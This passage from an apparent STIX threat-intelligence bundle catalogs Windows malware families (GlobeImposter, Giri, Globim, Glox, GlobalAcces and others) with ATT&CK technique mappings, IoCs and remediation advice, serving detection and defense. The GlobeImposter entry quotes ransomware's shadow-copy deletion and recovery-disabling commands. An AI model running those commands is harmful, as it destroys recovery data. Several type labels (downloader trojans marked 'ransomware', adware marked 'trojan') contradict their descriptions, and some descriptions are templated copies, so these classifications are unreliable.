in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gippers",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gippers"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbd9a2d2-858a-58eb-8f97-e825cfaca0d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d05aeb9d-72ae-561c-bfab-d5ac44a5dca5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gippers exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7cf9164-68d6-5522-b149-8859d99487f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d05aeb9d-72ae-561c-bfab-d5ac44a5dca5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gippers exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1ce616f-b9b3-5181-be0e-234efdca72a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d05aeb9d-72ae-561c-bfab-d5ac44a5dca5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gippers exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4cf960c-d785-5be0-86ab-e26ba0a91896",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d05aeb9d-72ae-561c-bfab-d5ac44a5dca5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gippers exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c90f85e-19fb-56b1-9707-4766a8a245fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d05aeb9d-72ae-561c-bfab-d5ac44a5dca5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gippers exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c1e432ac-2481-5c96-8a9a-445193d24b1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Giri",
      "description": "<h3>Executive Summary</h3>\nGiri is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGiri is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Giri operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Giri ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Giri receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Giri infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Giri executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Giri frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Giri",
        "Downloader.Giri",
        "Win32/Giri"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Giri",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/giri"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86001599-7961-5107-ae83-1b93f3623907",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1e432ac-2481-5c96-8a9a-445193d24b1b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Giri exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d25573ec-fa67-525b-90b5-6f57e4f01a5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1e432ac-2481-5c96-8a9a-445193d24b1b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Giri exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32e0ff94-5282-577a-ac02-d8c9c7073f6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1e432ac-2481-5c96-8a9a-445193d24b1b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Giri exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5a15ee5d-c588-549e-9a67-02dfa4d73415",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gjue",
      "description": "Gjue (cataloged across security vendors and threat intelligence databases under signatures including Adware:Win32/Gjue, PUA:Win32/Gjue, and Adware.Gjue) is an aggressive adware and Potentially Unwanted Application (PUA) family active since 2017. Infiltrating endpoints primarily through deceptive freeware bundles, cracked applications, and unauthorized download managers, Gjue modifies browser configurations and installs rogue background services. Once active, the adware injects unsolicited pop-up banners, replaces search engine query parameters with affiliate tracking IDs, and generates artificial ad clicks to monetize victim web traffic across advertising syndication networks. (Observed samples in benchmark: 45)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Gjue",
        "PUA:Win32/Gjue",
        "Adware.Gjue",
        "Win32/Gjue",
        "Adware:Win32/Gjue.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gjue",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gjue"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fcbcf7c3-5e73-565a-939f-a874027f45fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Globalacces",
      "description": "<h3>Executive Summary</h3>\nGlobalAcces (often detected as Adware.GlobalAccess or PUP.GlobalAcces) is a pervasive family of Adware and Potentially Unwanted Programs (PUPs) engineered to aggressively monetize an infected user's web browsing activity. It intercepts web traffic, forcefully alters browser configurations, and injects highly intrusive advertisements, posing a significant threat to end-user privacy and degrading network performance within enterprise environments.\n\n<h3>Distribution and Technical Behavior</h3>\nGlobalAcces is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" software installers, fake media players, or disguised as a necessary system utility downloaded from untrustworthy, third-party software portals.\n\nOnce executed, GlobalAcces deeply integrates with the operating system and installed web browsers (Google Chrome, Firefox, Edge). Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> GlobalAcces alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators to generate illicit ad revenue.</li>\n<li><strong>Traffic Interception and Injection:</strong> The software frequently installs malicious browser extensions or a local proxy server to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks.</li>\n<li><strong>Data Harvesting:</strong> It continuously tracks the user's browsing history, search queries, and clickstreams, transmitting this telemetry to remote servers to serve highly targeted advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile GlobalAcces does not actively encrypt files or steal banking credentials, it introduces massive operational friction. Furthermore, the injected advertisements and hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the GlobalAcces executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.GlobalAcces",
        "PUP.GlobalAccess",
        "BrowserModifier:Win32/GlobalAcces"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Globalacces",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/globalacces"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b47d737-a00b-5b2a-a957-9a79a878dd35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcbcf7c3-5e73-565a-939f-a874027f45fe",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globalacces exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6da3478a-b99a-5ad1-838f-d721d13e1747",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcbcf7c3-5e73-565a-939f-a874027f45fe",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globalacces exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e0bd294-057d-5689-b39f-45e7b617836e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcbcf7c3-5e73-565a-939f-a874027f45fe",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globalacces exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6d8ba255-87fb-5fcc-8a0d-d18d284d0e21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Globalupdate",
      "description": "Adware:Win32/Globalupdate is a highly prevalent classification for a persistent framework used to silently deploy and update Potentially Unwanted Programs (PUPs), adware, and browser hijackers. It operates as a background service, ensuring that once a system is compromised by a bundled installer, the adware remains up-to-date and difficult to remove permanently (`T1189`).<br><br><b>Understanding Globalupdate (Adware Updaters)</b><br>To an end-user, Globalupdate is usually invisible, though they will notice the symptoms of the adware it deploys: sluggish performance, excessive pop-ups, and hijacked search engines. For a security operations center (SOC), Globalupdate represents a significant persistence mechanism. Even if an antivirus removes the visible adware, Globalupdate will simply re-download it (`T1105`) the next time the system boots.<br><br><b>Execution and Persistence Mechanics</b><br>Globalupdate is typically installed silently as part of a deceptive software bundle (e.g., a free PDF converter that also installs adware). Upon execution, it establishes deep persistence. It often registers itself as a Windows Service (`T1543.003`) or creates multiple Scheduled Tasks (`T1053.005`) set to trigger on boot, on user logon, and at regular time intervals. When triggered, it reaches out to affiliate tracking networks, checks for new 'offers' or updates to its existing adware portfolio, and silently installs them in the background, constantly refreshing the infection.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the continuous, unconsented installation of nuisance software and a degradation of system performance. Host-based IoCs include the presence of anomalous services (often with names mimicking legitimate Windows services) or Scheduled Tasks pointing to executables in `%AppData%\\Local\\GlobalUpdate` or similar directories. Network IoCs include regular, automated HTTP/HTTPS beacons to known adware deployment infrastructure. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Globalupdate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/globalupdate"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9d16ad7-9c04-525f-a4f8-74615380f1f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d8ba255-87fb-5fcc-8a0d-d18d284d0e21",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globalupdate exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistence as a background service))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e271df04-4b83-51b8-beba-4e15eec46aab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d8ba255-87fb-5fcc-8a0d-d18d284d0e21",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globalupdate exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Using tasks to trigger regular updates))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--544a1435-9a96-5c8b-b76e-2bdc337bf1f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d8ba255-87fb-5fcc-8a0d-d18d284d0e21",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globalupdate exhibits technique T1189 (Drive-by Compromise (Initial distribution via software bundles))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1125d479-ceac-51a9-87e0-663fd84874a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Globeimposter",
      "description": "Ransom:Win32/Globeimposter is a highly prevalent, aggressive crypto-ransomware family that became notorious for its devastating attacks on healthcare organizations, city governments, and enterprise networks. It is a 'Ransomware-as-a-Service' (RaaS) variant. The name 'GlobeImposter' originated because early versions explicitly copied the ransom note style and extension format of an earlier ransomware family called 'Globe', attempting to ride on its reputation.<br><br><b>Understanding GlobeImposter (Enterprise Ransomware)</b><br>To an end-user, a GlobeImposter attack is catastrophic: all files are encrypted, appended with unique extensions (like `.crypt`, `.doc`, `.707`, `.pscrypt`), and replaced with an HTML or TXT ransom note. For an enterprise, GlobeImposter is rarely a 'drive-by' infection. It is typically deployed manually by attackers ('hands-on-keyboard' attacks) who have already breached the network, escalated privileges, and disabled security tools, resulting in the simultaneous encryption of hundreds of servers.<br><br><b>Execution and Enterprise Encryption Mechanics</b><br>GlobeImposter operators frequently gain initial access by purchasing compromised Remote Desktop Protocol (RDP) credentials from Initial Access Brokers or brute-forcing internet-exposed RDP servers (`T1021.001`). Once inside, they use tools like Mimikatz to steal Domain Admin credentials (`T1003.001`) and move laterally (`T1550.002`). The ransomware payload itself is often deployed enterprise-wide via PsExec or Group Policy (`T1047`). Upon execution on a host, GlobeImposter uses a batch script (`.bat`) to aggressively delete Volume Shadow Copies and disable Windows Startup Repair (`vssadmin.exe Delete Shadows /All /Quiet`, `bcdedit /set {default} recoveryenabled No`) (`T1490`). It terminates database processes (SQL, Exchange) to ensure those files are unlocked and can be encrypted (`T1489`). It then encrypts files using RSA-2048 and AES-256 (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total operational paralysis and massive extortion demands. Host-based IoCs include EDR alerts for `vssadmin.exe` or `wmic.exe` executing shadow copy deletion commands, the sudden termination of critical database services, and massive spikes in disk I/O. The presence of specific file extensions and ransom notes (e.g., `how_to_back_files.html`) in every directory are definitive IoCs. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Globeimposter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/globeimposter"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aaf83f09-b8f5-5ab1-aed6-c19bb8f279dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1125d479-ceac-51a9-87e0-663fd84874a3",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globeimposter exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fcfd8b5c-1860-5c9c-a6d1-4ccf2ada2785",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1125d479-ceac-51a9-87e0-663fd84874a3",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globeimposter exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies & Disabling Recovery))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b864820-8f90-57ae-81b3-11838a012ec6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1125d479-ceac-51a9-87e0-663fd84874a3",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globeimposter exhibits technique T1489 (Service Stop (Terminating SQL/Exchange to unlock files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1bceb663-3a83-5767-a622-420c73f01dc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1125d479-ceac-51a9-87e0-663fd84874a3",
      "target_ref": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globeimposter exhibits technique T1021.001 (Remote Services: Remote Desktop Protocol (Primary initial access vector))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eabba17a-26b0-5115-b8c1-a1b35bf159b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Globim",
      "description": "<h3>Executive Summary</h3>\nGlobim is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGlobim is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Globim operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Globim ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Globim receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Globim infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Globim executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Globim frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Globim",
        "Downloader.Globim",
        "Win32/Globim"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Globim",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/globim"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--764421f6-4fc3-5009-9515-74652ee0ede1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eabba17a-26b0-5115-b8c1-a1b35bf159b8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globim exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b039682d-daf2-52cc-bb88-15a6ae4e7987",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eabba17a-26b0-5115-b8c1-a1b35bf159b8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globim exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04066b63-6444-550c-9739-55746cdda7db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eabba17a-26b0-5115-b8c1-a1b35bf159b8",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Globim exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ea2b38e7-17af-50d0-8ebf-095875ff34c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Glox",
      "description": "Trojan:Win32/Glox is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Glox</b><br>To an end-user, a Glox infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Glox is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Glox is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Glox frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Glox reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Glox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/glox"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40ccb7e3-df7e-59d2-b770-ee620e60cca9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea2b38e7-17af-50d0-8ebf-095875ff34c5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Glox exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
